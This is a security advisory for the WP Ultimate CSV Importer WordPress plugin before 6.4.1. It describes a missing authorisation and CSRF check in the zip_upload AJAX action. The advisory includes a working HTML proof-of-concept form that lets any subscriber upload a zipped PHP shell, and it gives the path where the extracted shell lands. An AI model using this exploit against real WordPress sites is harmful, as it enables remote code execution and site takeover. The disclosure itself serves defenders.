WP Ultimate CSV Importer < 6.4.1 – Subscriber+ Arbitrary File Upload

Description

The plugin does not have authorisation and CSRF checks when uploading zip files via the zip_upload AJAX call, and does not perform any check on the files to be extracted. As a result, any authenticated user, such as subscriber could upload an archive with PHP files in it, leading to RCE

Proof of Concept

As any authenticated user, such as a simple subscriber

<html>
<body>
  <form method="POST" enctype="multipart/form-data" action="https://example.com/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="zip_upload"/>
    Zipped PHP File
    <input type="file" name="zipFile"/><br/><br/>
    <input type="submit" value="Upload"/>
  </form>
</body>


The extracted files will be in wp-content/uploads/YEAR/MONTH/, e.g: wp-content/uploads/2022/01/shell.php